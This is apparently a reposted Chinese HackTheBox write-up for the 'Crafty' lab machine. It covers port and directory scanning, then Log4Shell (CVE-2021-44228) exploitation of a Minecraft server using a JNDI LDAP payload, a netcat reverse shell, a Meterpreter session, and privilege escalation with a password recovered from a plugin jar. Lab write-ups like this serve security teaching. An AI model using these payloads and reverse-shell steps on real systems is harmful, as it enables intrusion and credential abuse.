HackTheBox——Crafty
信息收集
端口扫描
nmap -sC -sV -A -p- --min-rate=10000 10.10.11.249
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-20 21:41 EST
Nmap scan report for 10.10.11.249
Host is up (0.31s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: Did not follow redirect to http://crafty.htb
|_http-server-header: Microsoft-IIS/10.0
25565/tcp open minecraft Minecraft 1.16.5 (Protocol: 127, Message: Crafty Server, Users: 1/100)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2019 (89%)
Aggressive OS guesses: Microsoft Windows Server 2019 (89%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
TRACEROUTE (using port 25565/tcp)
HOP RTT ADDRESS
1 322.50 ms 10.10.14.1
2 322.48 ms 10.10.11.249
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 71.66 seconds
端口扫描发现开放端口为80、25565,25565端口功能暂不知道,看看80端口有什么信息
跑下目录看看
python3 dirsearch.py -u http://crafty.htb/
/redteam/dirsearch/dirsearch_bypass403-main/dirsearch.py:35: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
from pkg_resources import DistributionNotFound, VersionConflict
_|. _ _ _ _ _ _|_
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25
Wordlist size: 11461
Output File: /redteam/dirsearch/dirsearch_bypass403-main/reports/http_crafty.htb/__24-02-20_21-46-25.txt
Target: http://crafty.htb/
[21:46:25] Starting:
[21:46:36] 301 - 144B - /js -> http://crafty.htb/js/
[21:46:37] 403 - 312B - /.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
[21:46:39] 403 - 312B - /%2e%2e//google.com
[21:47:07] 403 - 312B - /..................etcpasswd
[21:47:59] 403 - 312B - /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
[21:48:09] 301 - 145B - /css -> http://crafty.htb/css/
[21:48:33] 301 - 145B - /img -> http://crafty.htb/img/
[21:48:35] 301 - 145B - /index.html -> http://crafty.htb/home
[21:48:39] 403 - 1KB - /js/
目录扫描只发现了/js,扫描js下面的目录看看
python3 dirsearch.py -u http://crafty.htb/js/
/redteam/dirsearch/dirsearch_bypass403-main/dirsearch.py:35: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
from pkg_resources import DistributionNotFound, VersionConflict
_|. _ _ _ _ _ _|_ v0.4.3 by 鹏组安全
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25
Wordlist size: 11461
Output File: /redteam/dirsearch/dirsearch_bypass403-main/reports/http_crafty.htb/_js__24-02-20_22-20-12.txt
Target: http://crafty.htb/
[22:20:12] Starting: js/
[22:20:21] 403 - 312B - /js/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
[22:20:51] 403 - 312B - /js/..................etcpasswd
[22:21:37] 403 - 312B - /js/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
[22:22:25] 200 - 2KB - /js/main.js
扫描js发现存在/main.js,访问看看有什么信息
// If you don't want the particles, change the following to false
const doParticles = true;
// Do not mess with the rest of this file unless you know what you're doing
const getWidth = () => { // credit to travis on stack overflow
return Math.max(
document.body.scrollWidth,
document.documentElement.scrollWidth,
document.body.offsetWidth,
document.documentElement.offsetWidth,
document.documentElement.clientWidth
);
};
if (doParticles) {
if (getWidth() < 400) $.firefly({
minPixel: 1,
maxPixel: 2,
total: 20
});
else $.firefly({
minPixel: 1,
maxPixel: 3,
total: 40
});
}
// This is for the click to copy
let t;
$(document).ready(() => {
t = $(".ip").html();
});
$(document).on("click", ".ip", () => {
let copy = document.createElement("textarea");
copy.style.position = "absolute";
copy.style.left = "-99999px";
copy.style.top = "0";
copy.setAttribute("id", "ta");
document.body.appendChild(copy);
copy.textContent = t;
copy.select();
document.execCommand("copy");
$(".ip").html("<span class='extrapad'>IP copied!</span>");
setTimeout(() => {
$(".ip").html(t);
var copy = document.getElementById("ta");
copy.parentNode.removeChild(copy);
}, 800);
});
// This is to fetch the player count
$(document).ready(() => {
let ip = $(".sip").attr("data-ip");
let port = $(".sip").attr("data-port");
if (port == "" || port == null) port = "25565";
if (ip == "" || ip == null) return console.error("Error fetching player count - is the IP set correctly in the HTML?");
updatePlayercount(ip, port);
// Updates every minute (not worth changing due to API cache)
setInterval(() => {
updatePlayercount(ip, port);
}, 60000);
});
const updatePlayercount = (ip, port) => {
$.get(`https://api.bybilly.uk/api/players/${ip}/${port}`, (result) => {
if (result.hasOwnProperty('online')) {
$(".sip").html(result.online);
} else {
$(".playercount").html("Server isn't online!");
}
});
};
借助AI我们来看看这段js的含义
提供的代码片段是一个基于jQuery的脚本,旨在获取并显示服务器的在线玩家数量,鉴于默认端口25565,很可能这是用于Minecraft服务器的。以下是其工作原理的详细解析:
文档就绪:$(document).ready()函数确保了脚本只在HTML文档完全加载后运行。这一点对于访问可能在脚本开始执行时尚不立即可用的元素(比如.sip)至关重要。
变量初始化:通过带有data-ip和data-port属性的class为sip的HTML元素,检索服务器的IP地址和端口。如果没有指定端口,则默认使用25565,这是Minecraft服务器的标准端口。
错误处理:如果没有提供ip或port,它会在控制台记录一个错误消息并停止进一步执行。
更新玩家数量:定义了updatePlayercount函数,该函数使用$.get方法调用一个API(https://api.bybilly.uk/api/players/${ip}/${port}),并根据返回结果更新玩家数量。如果API返回含有online属性的结果,它会更新.sip元素的HTML内容为在线玩家数量。如果服务器不在线,会更新.playercount元素的内容为“Server isn't online!”。
定时更新:通过setInterval方法设置每分钟(60000毫秒)调用一次updatePlayercount函数,以定期更新玩家数量。注意,由于API的缓存策略,更频繁的更新可能不会带来新的结果。
这段代码展示了如何使用jQuery和API调用来动态获取并显示数据,适用于需要实时显示服务器状态的网页。
通过AI翻译得知25565端口为MC的默认端口,代码主要功能为显示服务器在线玩家数量
漏洞利用
通过log4j反弹shell
https://github.com/kozmer/log4j-shell-poc
下载对应版本的jdk,jdk文件放置在poc同目录
https://mirrors.huaweicloud.com/java/jdk/8u202-b08/
将jdk的文件夹名称修改为poc中一致jdk1.8.0>20,cmd处修改为cmd.exe
运行poc脚本
python3 poc.py --userip 10.10.14.34 --webport 8082 --lport 8088
[!] CVE: CVE-2021-44228
[!] Github repo: https://github.com/kozmer/log4j-shell-poc
[+] Exploit java class created success
[+] Setting up LDAP server
[+] Send me: ${jndi:ldap://10.10.14.34:1389/a}
[+] Starting Webserver on port 8082 http://0.0.0.0:8082
Listening on 0.0.0.0:1389
使用mc连接工具
https://www.minecraft.net/en-us/download
python3 start.py
Enter your username: 1
Enter your password (leave blank for offline mode):
Enter server host or host:port (enclose IPv6 addresses in square brackets): 10.10.11.249:25565
Connecting in offline mode...
Connected.
${jndi:ldap://10.10.16.15:1389/a}
nc监听
nc -nvlp 4567
listening on [any] 4567 ...
connect to [10.10.16.15] from (UNKNOWN) [10.10.11.249] 49684
Microsoft Windows [Version 10.0.17763.5329]
(c) 2018 Microsoft Corporation. All rights reserved.
c:userssvc_minecraftserver>whoami
whoami
craftysvc_minecraft
c:userssvc_minecraftserver>
使用msf获取个稳定的shell
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.10.16.15:4444
[*] Sending stage (200774 bytes) to 10.10.11.249
[*] Meterpreter session 3 opened (10.10.16.15:4444 -> 10.10.11.249:49690) at 2024-02-21 03:45:11 -0500
meterpreter > pwd
C:Userssvc_minecraft
在plugins目录下发现存在一个playercounter-1.0-SNAPSHOT.jar
c:Userssvc_minecraftserverplugins>dir
dir
Volume in drive C has no label.
Volume Serial Number is C419-63F6
Directory of c:Userssvc_minecraftserverplugins
10/27/2023 01:48 PM <DIR> .
10/27/2023 01:48 PM <DIR> ..
10/27/2023 01:48 PM 9,996 playercounter-1.0-SNAPSHOT.jar
1 File(s) 9,996 bytes
2 Dir(s) 3,184,214,016 bytes free
download下来
meterpreter > download playercounter-1.0-SNAPSHOT.jar
[*] Downloading: playercounter-1.0-SNAPSHOT.jar -> /redteam/mc/pyCraft/playercounter-1.0-SNAPSHOT.jar
[*] Downloaded 9.76 KiB of 9.76 KiB (100.0%): playercounter-1.0-SNAPSHOT.jar -> /redteam/mc/pyCraft/playercounter-1.0-SNAPSHOT.jar
[*] Completed : playercounter-1.0-SNAPSHOT.jar -> /redteam/mc/pyCraft/playercounter-1.0-SNAPSHOT.jar
使用jd-gui工具查看
找到一个密码s67u84zKq8IXw,使用RunAscS工具提取
meterpreter > run post/windows/manage/run_as_psh USER=Administrator PASS=s67u84zKq8IXw EXE=cmd.exe
[*] Hidden mode may not work on older powershell versions, if it fails, try HIDDEN=false
[*] Process 568 created.
[*] Channel 5 created.
Microsoft Windows [Version 10.0.17763.5329]
(c) 2018 Microsoft Corporation. All rights reserved.
C:>whoami
whoami
craftyadministrator
成功拿到user.txt和root.txt
C:Userssvc_minecraftDesktop>type user.txt
type user.txt
b0a89fc94ef150c688c01338f2403171
C:UsersAdministratorDesktop>type root.txt
type root.txt
fa905b28cf2a89082b330d94e9d84d76
原文始发于微信公众号(安全小白):HackTheBox——crafty
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论